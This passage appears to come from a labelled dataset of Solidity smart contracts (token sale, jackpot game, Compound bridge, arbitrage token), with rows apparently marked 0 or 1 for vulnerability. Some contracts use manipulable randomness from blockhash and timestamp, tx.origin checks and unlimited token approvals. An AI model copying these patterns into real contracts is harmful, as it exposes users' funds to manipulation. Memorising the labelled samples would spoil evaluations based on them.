function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PolicyPalNetworkToken is StandardToken, BurnableToken, Ownable {
string public constant name = "PolicyPal Network Token";
string public constant symbol = "PAL";
uint8 public constant decimals = 18;
address public tokenSaleContract;
bool public isTokenTransferable = false;
modifier onlyWhenTransferAllowed() {
require(isTokenTransferable || msg.sender == owner || msg.sender == tokenSaleContract);
_;
}
modifier isValidDestination(address _to) {
require(_to != address(0x0));
require(_to != address(this));
_;
}
function toggleTransferable(bool _toggle) external
onlyOwner
{
isTokenTransferable = _toggle;
}
function PolicyPalNetworkToken(
uint _tokenTotalAmount,
address _adminAddr
)
public
isValidDestination(_adminAddr)
{
require(_tokenTotalAmount > 0);
totalSupply_ = _tokenTotalAmount;
balances[msg.sender] = _tokenTotalAmount;
Transfer(address(0x0), msg.sender, _tokenTotalAmount);
tokenSaleContract = msg.sender;
transferOwnership(_adminAddr);
}
function transfer(address _to, uint256 _value) public
onlyWhenTransferAllowed
isValidDestination(_to)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public
onlyWhenTransferAllowed
isValidDestination(_to)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function burn(uint256 _value)
public
{
super.burn(_value);
Transfer(msg.sender, address(0x0), _value);
}
function emergencyERC20Drain(ERC20 _token, uint256 _amount) public
onlyOwner
{
_token.transfer(owner, _amount);
}
}
contract PolicyPalNetworkCrowdsale is CrowdsaleAuthorizer {
address public multiSigWallet;
PolicyPalNetworkToken public token;
uint256 public raisedWei;
bool public haltSale;
uint public rate;
modifier validSale() {
require(!haltSale);
require(saleStarted());
require(!saleEnded());
_;
}
event Buy(address _buyer, uint256 _tokens, uint256 _payedWei);
function PolicyPalNetworkCrowdsale(
address _admin,
address _multiSigWallet,
uint256 _totalTokenSupply,
uint256 _premintedTokenSupply,
uint256 _presaleTokenSupply,
uint256 _saleStartTime,
uint256 _saleEndTime,
uint256 _increaseMaxContribTime,
uint _rate,
uint256 _minContribution,
uint256 _maxContribution
)
CrowdsaleAuthorizer(
_admin,
_saleStartTime,
_saleEndTime,
_increaseMaxContribTime,
_minContribution,
_maxContribution
)
validAddress(_multiSigWallet)
public
{
require(_totalTokenSupply > 0);
require(_premintedTokenSupply > 0);
require(_presaleTokenSupply > 0);
require(_rate > 0);
require(_premintedTokenSupply < _totalTokenSupply);
require(_presaleTokenSupply < _totalTokenSupply);
multiSigWallet = _multiSigWallet;
rate = _rate;
token = new PolicyPalNetworkToken(
_totalTokenSupply,
_admin
);
token.transfer(multiSigWallet, _premintedTokenSupply);
token.transfer(_admin, _presaleTokenSupply);
}
function setHaltSale(bool _halt)
onlyAdmin
public
{
haltSale = _halt;
}
function() public payable {
buy(msg.sender);
}
function buy(address _recipient) public payable
validSale
validAddress(_recipient)
returns(uint256)
{
uint256 weiContributionAllowed = eligibleAmountCheck(_recipient, msg.value);
require(weiContributionAllowed > 0);
uint256 tokensRemaining = token.balanceOf(address(this));
require(tokensRemaining > 0);
uint256 receivedTokens = weiContributionAllowed.mul(rate);
if (receivedTokens > tokensRemaining) {
receivedTokens = tokensRemaining;
weiContributionAllowed = tokensRemaining.div(rate);
}
assert(token.transfer(_recipient, receivedTokens));
sendETHToMultiSig(weiContributionAllowed);
raisedWei = raisedWei.add(weiContributionAllowed);
if (msg.value > weiContributionAllowed) {
msg.sender.transfer(msg.value.sub(weiContributionAllowed));
}
Buy(_recipient, receivedTokens, weiContributionAllowed);
return weiContributionAllowed;
}
function emergencyDrain(ERC20 _anyToken) public
onlyAdmin
returns(bool)
{
if (this.balance > 0) {
sendETHToMultiSig(this.balance);
}
if (_anyToken != address(0x0)) {
assert(_anyToken.transfer(multiSigWallet, _anyToken.balanceOf(this)));
}
return true;
}
function sendETHToMultiSig(uint256 _value) internal {
multiSigWallet.transfer(_value);
}
} | 0 | 2,097 |
pragma solidity^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Zero {
function requireNotZero(uint a) internal pure {
require(a != 0, "require not zero");
}
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) return 0;
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
}
library ToAddress {
function toAddr(uint source) internal pure returns(address) {
return address(source);
}
function toAddr(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
}
interface BankOfEth {
function receiveExternalProfits() external payable;
}
contract BankOfEthVaultBreaker {
using SafeMath for uint256;
using Percent for Percent.percent;
using Zero for *;
using ToAddress for *;
event KeysIssued(address indexed to, uint keys, uint timestamp);
event EthDistributed(uint amount, uint timestamp);
event ReturnsWithdrawn(address indexed by, uint amount, uint timestamp);
event JackpotWon(address by, uint amount, uint timestamp);
event AirdropWon(address by, uint amount, uint timestamp);
event RoundStarted(uint indexed ID, uint hardDeadline, uint timestamp);
address owner;
address devAddress;
address bankOfEthAddress = 0xd70c3f752Feb69Ecf8Eb31E48B20A97D979e8e5e;
BankOfEth localBankOfEth;
uint public constant STARTING_KEY_PRICE = 1 finney;
uint public constant HARD_DEADLINE_DURATION = 30 days;
uint public constant TIME_PER_KEY = 5 minutes;
uint public constant PRICE_INCREASE_PERIOD = 1 hours;
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
Percent.percent private m_currentRoundJackpotPercent = Percent.percent(15, 100);
Percent.percent private m_investorsPercent = Percent.percent(65, 100);
Percent.percent private m_devPercent = Percent.percent(10, 100);
Percent.percent private m_nextRoundSeedPercent = Percent.percent(5, 100);
Percent.percent private m_airdropPercent = Percent.percent(2, 100);
Percent.percent private m_bankOfEthProfitPercent = Percent.percent(3, 100);
Percent.percent private m_refPercent = Percent.percent(3, 100);
struct SafeBreaker {
uint lastCumulativeReturnsPoints;
uint keys;
}
struct GameRound {
uint totalInvested;
uint jackpot;
uint airdropPot;
uint totalKeys;
uint cumulativeReturnsPoints;
uint hardDeadline;
uint softDeadline;
uint price;
uint lastPriceIncreaseTime;
address lastInvestor;
bool finalized;
mapping (address => SafeBreaker) safeBreakers;
}
struct Vault {
uint totalReturns;
uint refReturns;
}
mapping (address => Vault) vaults;
uint public latestRoundID;
GameRound[] rounds;
uint256 public minInvestment = 1 finney;
uint256 public maxInvestment = 2000 ether;
uint256 public roundDuration = (24 hours);
uint public soft_deadline_duration = 1 days;
bool public gamePaused = false;
bool public limitedReferralsMode = true;
mapping(address => bool) private m_referrals;
uint public jackpotSeed;
uint public unclaimedReturns;
uint public constant MULTIPLIER = RAY;
uint public totalJackpotsWon;
uint public totalKeysSold;
uint public totalEarningsGenerated;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier notOnPause() {
require(gamePaused == false, "Game Paused");
_;
}
constructor() public {
owner = msg.sender;
devAddress = msg.sender;
localBankOfEth = BankOfEth(bankOfEthAddress);
rounds.length++;
GameRound storage rnd = rounds[0];
latestRoundID = 0;
rnd.lastInvestor = msg.sender;
rnd.price = STARTING_KEY_PRICE;
rnd.hardDeadline = now + HARD_DEADLINE_DURATION;
rnd.softDeadline = now + soft_deadline_duration;
jackpotSeed = 0;
rnd.jackpot = jackpotSeed;
}
function () public payable {
buyKeys(address(0x0));
}
function investorInfo(address investor, uint roundID) external view
returns(uint keys, uint totalReturns, uint referralReturns)
{
GameRound storage rnd = rounds[roundID];
keys = rnd.safeBreakers[investor].keys;
(totalReturns, referralReturns) = estimateReturns(investor, roundID);
}
function estimateReturns(address investor, uint roundID) public view
returns (uint totalReturns, uint refReturns)
{
GameRound storage rnd = rounds[roundID];
uint outstanding;
if(rounds.length > 1) {
if(hasReturns(investor, roundID - 1)) {
GameRound storage prevRnd = rounds[roundID - 1];
outstanding = _outstandingReturns(investor, prevRnd);
}
}
outstanding += _outstandingReturns(investor, rnd);
totalReturns = vaults[investor].totalReturns + outstanding;
refReturns = vaults[investor].refReturns;
}
function roundInfo(uint roundID) external view
returns(
address leader,
uint price,
uint jackpot,
uint airdrop,
uint keys,
uint totalInvested,
uint distributedReturns,
uint _hardDeadline,
uint _softDeadline,
bool finalized
)
{
GameRound storage rnd = rounds[roundID];
leader = rnd.lastInvestor;
price = rnd.price;
jackpot = rnd.jackpot;
airdrop = rnd.airdropPot;
keys = rnd.totalKeys;
totalInvested = rnd.totalInvested;
distributedReturns = m_currentRoundJackpotPercent.mul(rnd.totalInvested);
_hardDeadline = rnd.hardDeadline;
_softDeadline = rnd.softDeadline;
finalized = rnd.finalized;
}
function totalsInfo() external view
returns(
uint totalReturns,
uint totalKeys,
uint totalJackpots
) {
GameRound storage rnd = rounds[latestRoundID];
if(rnd.softDeadline > now) {
totalKeys = totalKeysSold + rnd.totalKeys;
totalReturns = totalEarningsGenerated + m_currentRoundJackpotPercent.mul(rnd.totalInvested);
} else {
totalKeys = totalKeysSold;
totalReturns = totalEarningsGenerated;
}
totalJackpots = totalJackpotsWon;
}
function reinvestReturns(uint value) public {
reinvestReturns(value, address(0x0));
}
function reinvestReturns(uint value, address ref) public {
GameRound storage rnd = rounds[latestRoundID];
_updateReturns(msg.sender, rnd);
require(vaults[msg.sender].totalReturns >= value, "Can't spend what you don't have");
vaults[msg.sender].totalReturns = vaults[msg.sender].totalReturns.sub(value);
vaults[msg.sender].refReturns = min(vaults[msg.sender].refReturns, vaults[msg.sender].totalReturns);
unclaimedReturns = unclaimedReturns.sub(value);
_purchase(rnd, value, ref);
}
function withdrawReturns() public {
GameRound storage rnd = rounds[latestRoundID];
if(rounds.length > 1) {
if(hasReturns(msg.sender, latestRoundID - 1)) {
GameRound storage prevRnd = rounds[latestRoundID - 1];
_updateReturns(msg.sender, prevRnd);
}
}
_updateReturns(msg.sender, rnd);
uint amount = vaults[msg.sender].totalReturns;
require(amount > 0, "Nothing to withdraw!");
unclaimedReturns = unclaimedReturns.sub(amount);
vaults[msg.sender].totalReturns = 0;
vaults[msg.sender].refReturns = 0;
rnd.safeBreakers[msg.sender].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
msg.sender.transfer(amount);
emit ReturnsWithdrawn(msg.sender, amount, now);
}
function hasReturns(address investor, uint roundID) public view returns (bool) {
GameRound storage rnd = rounds[roundID];
return rnd.cumulativeReturnsPoints > rnd.safeBreakers[investor].lastCumulativeReturnsPoints;
}
function updateMyReturns(uint roundID) public {
GameRound storage rnd = rounds[roundID];
_updateReturns(msg.sender, rnd);
}
function finalizeLastRound() public {
GameRound storage rnd = rounds[latestRoundID];
_finalizeRound(rnd);
}
function finalizeAndRestart() public payable {
finalizeLastRound();
startNewRound(address(0x0));
}
function finalizeAndRestart(address _referer) public payable {
finalizeLastRound();
startNewRound(_referer);
}
event debugLog(uint _num, string _string);
function startNewRound(address _referer) public payable {
require(rounds[latestRoundID].finalized, "Previous round not finalized");
require(rounds[latestRoundID].softDeadline < now, "Previous round still running");
uint _rID = rounds.length++;
GameRound storage rnd = rounds[_rID];
latestRoundID = _rID;
rnd.lastInvestor = msg.sender;
rnd.price = STARTING_KEY_PRICE;
rnd.hardDeadline = now + HARD_DEADLINE_DURATION;
rnd.softDeadline = now + soft_deadline_duration;
rnd.jackpot = jackpotSeed;
jackpotSeed = 0;
_purchase(rnd, msg.value, _referer);
emit RoundStarted(_rID, rnd.hardDeadline, now);
}
function buyKeys(address _referer) public payable notOnPause {
require(msg.value >= minInvestment);
if(rounds.length > 0) {
GameRound storage rnd = rounds[latestRoundID];
_purchase(rnd, msg.value, _referer);
} else {
revert("Not yet started");
}
}
function _purchase(GameRound storage rnd, uint value, address referer) internal {
require(rnd.softDeadline >= now, "After deadline!");
require(value >= rnd.price/10, "Not enough Ether!");
rnd.totalInvested = rnd.totalInvested.add(value);
if(value >= rnd.price)
rnd.lastInvestor = msg.sender;
_airDrop(rnd, value);
_splitRevenue(rnd, value, referer);
_updateReturns(msg.sender, rnd);
uint newKeys = _issueKeys(rnd, msg.sender, value);
uint timeIncreases = newKeys/WAD;
uint newDeadline = rnd.softDeadline.add( timeIncreases.mul(TIME_PER_KEY));
rnd.softDeadline = min(newDeadline, now + soft_deadline_duration);
if(now > rnd.hardDeadline) {
if(now > rnd.lastPriceIncreaseTime + PRICE_INCREASE_PERIOD) {
rnd.price = rnd.price * 2;
rnd.lastPriceIncreaseTime = now;
}
}
}
function _issueKeys(GameRound storage rnd, address _safeBreaker, uint value) internal returns(uint) {
if(rnd.safeBreakers[_safeBreaker].lastCumulativeReturnsPoints == 0) {
rnd.safeBreakers[_safeBreaker].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
}
uint newKeys = wdiv(value, rnd.price);
if(value >= 100 ether) {
newKeys = newKeys.mul(2);
} else if(value >= 10 ether) {
newKeys = newKeys.add(newKeys/2);
} else if(value >= 1 ether) {
newKeys = newKeys.add(newKeys/3);
} else if(value >= 100 finney) {
newKeys = newKeys.add(newKeys/10);
}
rnd.safeBreakers[_safeBreaker].keys = rnd.safeBreakers[_safeBreaker].keys.add(newKeys);
rnd.totalKeys = rnd.totalKeys.add(newKeys);
emit KeysIssued(_safeBreaker, newKeys, now);
return newKeys;
}
function _updateReturns(address _safeBreaker, GameRound storage rnd) internal {
if(rnd.safeBreakers[_safeBreaker].keys == 0) {
return;
}
uint outstanding = _outstandingReturns(_safeBreaker, rnd);
if (outstanding > 0) {
vaults[_safeBreaker].totalReturns = vaults[_safeBreaker].totalReturns.add(outstanding);
}
rnd.safeBreakers[_safeBreaker].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
}
function _outstandingReturns(address _safeBreaker, GameRound storage rnd) internal view returns(uint) {
if(rnd.safeBreakers[_safeBreaker].keys == 0) {
return 0;
}
uint newReturns = rnd.cumulativeReturnsPoints.sub(
rnd.safeBreakers[_safeBreaker].lastCumulativeReturnsPoints
);
uint outstanding = 0;
if(newReturns != 0) {
outstanding = newReturns.mul(rnd.safeBreakers[_safeBreaker].keys) / MULTIPLIER;
}
return outstanding;
}
function _splitRevenue(GameRound storage rnd, uint value, address ref) internal {
uint roundReturns;
if(ref != address(0x0)) {
if(
(!m_referrals[msg.sender] && limitedReferralsMode == true)
||
limitedReferralsMode == false
) {
uint _referralEarning = m_refPercent.mul(value);
unclaimedReturns = unclaimedReturns.add(_referralEarning);
vaults[ref].totalReturns = vaults[ref].totalReturns.add(_referralEarning);
vaults[ref].refReturns = vaults[ref].refReturns.add(_referralEarning);
value = value.sub(_referralEarning);
m_referrals[msg.sender] = true;
}
} else {
}
roundReturns = m_investorsPercent.mul(value);
uint airdrop_value = m_airdropPercent.mul(value);
uint jackpot_value = m_currentRoundJackpotPercent.mul(value);
uint dev_value = m_devPercent.mul(value);
uint bankOfEth_profit = m_bankOfEthProfitPercent.mul(value);
localBankOfEth.receiveExternalProfits.value(bankOfEth_profit)();
if(rnd.totalKeys == 0) {
rnd.jackpot = rnd.jackpot.add(roundReturns);
} else {
_disburseReturns(rnd, roundReturns);
}
rnd.airdropPot = rnd.airdropPot.add(airdrop_value);
rnd.jackpot = rnd.jackpot.add(jackpot_value);
devAddress.transfer(dev_value);
}
function _disburseReturns(GameRound storage rnd, uint value) internal {
emit EthDistributed(value, now);
unclaimedReturns = unclaimedReturns.add(value);
if(rnd.totalKeys == 0) {
rnd.cumulativeReturnsPoints = value.mul(MULTIPLIER) / wdiv(value, rnd.price);
} else {
rnd.cumulativeReturnsPoints = rnd.cumulativeReturnsPoints.add(
value.mul(MULTIPLIER) / rnd.totalKeys
);
}
}
function _airDrop(GameRound storage rnd, uint value) internal {
require(msg.sender == tx.origin, "Only Humans Allowed! (or scripts that don't use smart contracts)!");
if(value > 100 finney) {
uint chance = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), now)));
if(chance % 200 == 0) {
uint prize = rnd.airdropPot / 2;
rnd.airdropPot = rnd.airdropPot / 2;
vaults[msg.sender].totalReturns = vaults[msg.sender].totalReturns.add(prize);
unclaimedReturns = unclaimedReturns.add(prize);
totalJackpotsWon += prize;
emit AirdropWon(msg.sender, prize, now);
}
}
}
function _finalizeRound(GameRound storage rnd) internal {
require(!rnd.finalized, "Already finalized!");
require(rnd.softDeadline < now, "Round still running!");
vaults[rnd.lastInvestor].totalReturns = vaults[rnd.lastInvestor].totalReturns.add(rnd.jackpot);
unclaimedReturns = unclaimedReturns.add(rnd.jackpot);
emit JackpotWon(rnd.lastInvestor, rnd.jackpot, now);
totalJackpotsWon += rnd.jackpot;
jackpotSeed = jackpotSeed.add( m_nextRoundSeedPercent.mul(rnd.totalInvested));
jackpotSeed = jackpotSeed.add(rnd.airdropPot);
totalKeysSold += rnd.totalKeys;
totalEarningsGenerated += m_currentRoundJackpotPercent.mul(rnd.totalInvested);
rnd.finalized = true;
}
function p_setOwner(address _owner) public onlyOwner {
owner = _owner;
}
function p_setDevAddress(address _devAddress) public onlyOwner {
devAddress = _devAddress;
}
function p_setCurrentRoundJackpotPercent(uint num, uint dem) public onlyOwner {
m_currentRoundJackpotPercent = Percent.percent(num, dem);
}
function p_setInvestorsPercent(uint num, uint dem) public onlyOwner {
m_investorsPercent = Percent.percent(num, dem);
}
function p_setDevPercent(uint num, uint dem) public onlyOwner {
m_devPercent = Percent.percent(num, dem);
}
function p_setNextRoundSeedPercent(uint num, uint dem) public onlyOwner {
m_nextRoundSeedPercent = Percent.percent(num, dem);
}
function p_setAirdropPercent(uint num, uint dem) public onlyOwner {
m_airdropPercent = Percent.percent(num, dem);
}
function p_setBankOfEthProfitPercent(uint num, uint dem) public onlyOwner {
m_bankOfEthProfitPercent = Percent.percent(num, dem);
}
function p_setMinInvestment(uint _minInvestment) public onlyOwner {
minInvestment = _minInvestment;
}
function p_setMaxInvestment(uint _maxInvestment) public onlyOwner {
maxInvestment = _maxInvestment;
}
function p_setGamePaused(bool _gamePaused) public onlyOwner {
gamePaused = _gamePaused;
}
function p_setRoundDuration(uint256 _roundDuration) public onlyOwner {
roundDuration = _roundDuration;
}
function p_setBankOfEthAddress(address _bankOfEthAddress) public onlyOwner {
bankOfEthAddress = _bankOfEthAddress;
localBankOfEth = BankOfEth(bankOfEthAddress);
}
function p_setLimitedReferralsMode(bool _limitedReferralsMode) public onlyOwner {
limitedReferralsMode = _limitedReferralsMode;
}
function p_setSoft_deadline_duration(uint _soft_deadline_duration) public onlyOwner {
soft_deadline_duration = _soft_deadline_duration;
}
function notZeroAndNotSender(address addr) internal view returns(bool) {
return addr.notZero() && addr != msg.sender;
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = x.mul(y).add(WAD/2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = x.mul(y).add(RAY/2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = x.mul(WAD).add(y/2)/y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = x.mul(RAY).add(y/2)/y;
}
uint op;
function gameOp() public {
op++;
}
} | 1 | 4,841 |
pragma solidity ^0.5.7;
interface RegistryInterface {
function proxies(address) external view returns (address);
}
interface UserWalletInterface {
function owner() external view returns (address);
}
interface CTokenInterface {
function mint(uint mintAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint);
function liquidateBorrow(address borrower, address cTokenCollateral) external payable;
function exchangeRateCurrent() external returns (uint);
function getCash() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalReserves() external view returns (uint);
function reserveFactorMantissa() external view returns (uint);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
function allowance(address, address) external view returns (uint);
function approve(address, uint) external;
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
}
interface ERC20Interface {
function allowance(address, address) external view returns (uint);
function balanceOf(address) external view returns (uint);
function approve(address, uint) external;
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "math-not-safe");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "math-not-safe");
}
uint constant WAD = 10 ** 18;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
}
contract Helper is DSMath {
address public daiAdd = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public cDaiAdd = 0xF5DCe57282A584D2746FaF1593d3121Fcac444dC;
address public registryAdd = 0xF5DCe57282A584D2746FaF1593d3121Fcac444dC;
mapping (address => uint) public deposited;
mapping (address => bool) public isAdmin;
function setApproval(address erc20, uint srcAmt, address to) internal {
ERC20Interface erc20Contract = ERC20Interface(erc20);
uint tokenAllowance = erc20Contract.allowance(address(this), to);
if (srcAmt > tokenAllowance) {
erc20Contract.approve(to, 2**255);
}
}
modifier isUserWallet {
address userAdd = UserWalletInterface(msg.sender).owner();
address walletAdd = RegistryInterface(registryAdd).proxies(userAdd);
require(walletAdd != address(0), "Not-User-Wallet");
require(walletAdd == msg.sender, "Not-Wallet-Owner");
_;
}
}
contract CTokens is Helper {
struct CTokenData {
address cTokenAdd;
uint factor;
}
CTokenData[] public cTokenAddr;
uint public cArrLength = 0;
function addCToken(address cToken, uint factor) public {
require(isAdmin[msg.sender], "Address not an admin");
CTokenData memory setCToken = CTokenData(cToken, factor);
cTokenAddr.push(setCToken);
cArrLength++;
}
}
contract Bridge is CTokens {
function depositDAI(uint amt) public {
ERC20Interface(daiAdd).transferFrom(msg.sender, address(this), amt);
CTokenInterface cToken = CTokenInterface(cDaiAdd);
assert(cToken.mint(amt) == 0);
uint cDaiAmt = wdiv(amt, cToken.exchangeRateCurrent());
deposited[msg.sender] += cDaiAmt;
}
function withdrawDAI(uint amt) public {
require(deposited[msg.sender] != 0, "Nothing to Withdraw");
CTokenInterface cToken = CTokenInterface(cDaiAdd);
uint withdrawAmt = wdiv(amt, cToken.exchangeRateCurrent());
uint daiAmt = amt;
if (withdrawAmt > deposited[msg.sender]) {
withdrawAmt = deposited[msg.sender];
daiAmt = wmul(withdrawAmt, cToken.exchangeRateCurrent());
}
require(cToken.redeem(withdrawAmt) == 0, "something went wrong");
ERC20Interface(daiAdd).transfer(msg.sender, daiAmt);
deposited[msg.sender] -= withdrawAmt;
}
function depositCDAI(uint amt) public {
CTokenInterface cToken = CTokenInterface(cDaiAdd);
require(cToken.transferFrom(msg.sender, address(this), amt), "Nothing to deposit");
deposited[msg.sender] += amt;
}
function withdrawCDAI(uint amt) public {
require(deposited[msg.sender] != 0, "Nothing to Withdraw");
CTokenInterface cToken = CTokenInterface(cDaiAdd);
uint withdrawAmt = amt;
if (withdrawAmt > deposited[msg.sender]) {
withdrawAmt = deposited[msg.sender];
}
cToken.transfer(msg.sender, withdrawAmt);
deposited[msg.sender] -= withdrawAmt;
}
function transferDAI(uint amt) public isUserWallet {
CTokenInterface cToken = CTokenInterface(cDaiAdd);
require(cToken.redeemUnderlying(amt) == 0, "something went wrong");
ERC20Interface(daiAdd).transfer(msg.sender, amt);
}
function transferBackDAI(uint amt) public isUserWallet {
ERC20Interface tokenContract = ERC20Interface(daiAdd);
tokenContract.transferFrom(msg.sender, address(this), amt);
CTokenInterface cToken = CTokenInterface(cDaiAdd);
assert(cToken.mint(amt) == 0);
}
}
contract MakerCompBridge is Bridge {
uint public version;
constructor(uint _version) public {
isAdmin[0x7284a8451d9a0e7Dc62B3a71C0593eA2eC5c5638] = true;
isAdmin[0xa7615CD307F323172331865181DC8b80a2834324] = true;
addCToken(0x6C8c6b02E7b2BE14d4fA6022Dfd6d75921D90E4E, 600000000000000000);
addCToken(0xF5DCe57282A584D2746FaF1593d3121Fcac444dC, 750000000000000000);
addCToken(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5, 750000000000000000);
addCToken(0x158079Ee67Fce2f58472A96584A73C7Ab9AC95c1, 500000000000000000);
addCToken(0x39AA39c021dfbaE8faC545936693aC917d5E7563, 750000000000000000);
addCToken(0xB3319f5D18Bc0D84dD1b4825Dcde5d5f7266d407, 600000000000000000);
setApproval(daiAdd, 10**30, cDaiAdd);
setApproval(cDaiAdd, 10**30, cDaiAdd);
version = _version;
}
function() external payable {}
} | 1 | 4,252 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ExchangeArbitrageToken is Owned {
using SafeMath for uint;
string public symbol = "EXARB";
string public name = "Exchange Arbitrage Token";
uint8 public decimals = 18;
uint minted_tokens;
uint max_investors;
uint minimum_wei;
uint exchange_rate;
uint total_investors;
uint cashout_rate;
uint launch_date;
event Transfer(address indexed from, address indexed to, uint tokens);
event MintTokens(address from, uint coin, uint amount);
event ExchangeRateSet(uint exchange_rate);
event CashoutRateSet(uint exchange_rate);
event MaxInvestorsSet(uint max_investors);
event MinimumInvestmentWEISet(uint minimum_wei);
event LaunchDateSet(uint launch_date);
mapping(address => BlockBalance[]) block_balances;
struct BlockBalance {
uint block_id;
uint balance;
}
mapping(address => mapping(uint16 => uint)) collected_payouts;
uint16[] payout_ids;
mapping(uint16 => PayoutBlock) payouts;
struct PayoutBlock {
uint block_id;
uint amount;
uint minted_tokens;
}
constructor() public payable {
minted_tokens = 0;
minimum_wei = 200000000000000000;
max_investors = 2500;
exchange_rate = 230;
cashout_rate = 50000000000000;
total_investors = 0;
launch_date = 1539604800;
emit MinimumInvestmentWEISet(minimum_wei);
emit MaxInvestorsSet(max_investors);
emit ExchangeRateSet(exchange_rate);
}
function totalSupply() public view returns (uint) {
return minted_tokens;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return getTokenBalanceOf(tokenOwner);
}
function ownershipPercentageOf(address tokenOwner) public view returns (uint percentage_8_decimals) {
return balanceOf(tokenOwner).mul(10000000000).div(minted_tokens);
}
function totalInvestors() public view returns (uint) {
return total_investors;
}
function allPayoutIds() public view returns (uint16[]) {
return payout_ids;
}
function getPayoutAmountForId(uint16 payout_id) public view returns (uint) {
return payouts[payout_id].amount;
}
function getPayoutBlockForId(uint16 payout_id) public view returns (uint) {
return payouts[payout_id].block_id;
}
function ethToTokenExchangeRate() public view returns (uint) {
return exchange_rate;
}
function limitMaxInvestors() public view returns (uint) {
return max_investors;
}
function limitMinimumInvestmentWEI() public view returns (uint) {
return minimum_wei;
}
function limitCashoutRate() public view returns (uint) {
return cashout_rate;
}
function launchDate() public view returns (uint) {
return launch_date;
}
function payoutAmountFor(uint16 payout_id) public view returns (uint) {
require(payouts[payout_id].block_id > 0, "Invalid payout_id");
require(block_balances[msg.sender].length > 0, "This address has no history on this contract.");
PayoutBlock storage payout_block = payouts[payout_id];
BlockBalance memory relevant_block;
for(uint i = 0; i < block_balances[msg.sender].length; i++) {
if (block_balances[msg.sender][i].block_id < payout_block.block_id ) {
relevant_block = block_balances[msg.sender][i];
}
}
return relevant_block.balance.mul(payout_block.amount).div(payout_block.minted_tokens);
}
function payoutCollected(uint16 payout_id) public view returns (bool) {
return collected_payouts[msg.sender][payout_id] > 0;
}
function payoutCollect(uint16 payout_id) public returns (bool success) {
require(collected_payouts[msg.sender][payout_id] == 0, "Payment already collected");
uint payout = payoutAmountFor(payout_id);
require(address(this).balance >= payout, "Balance is too low.");
collected_payouts[msg.sender][payout_id] = payout;
msg.sender.transfer(payout);
return true;
}
function calculateCashout() public view returns (uint amount) {
uint current_token_balance = getTokenBalanceOf(msg.sender);
uint payout = current_token_balance.mul(cashout_rate).div(1000000000000000000);
return payout;
}
function cashout() public returns (bool success) {
uint current_token_balance = getTokenBalanceOf(msg.sender);
require(current_token_balance > 0, 'Address has no balance');
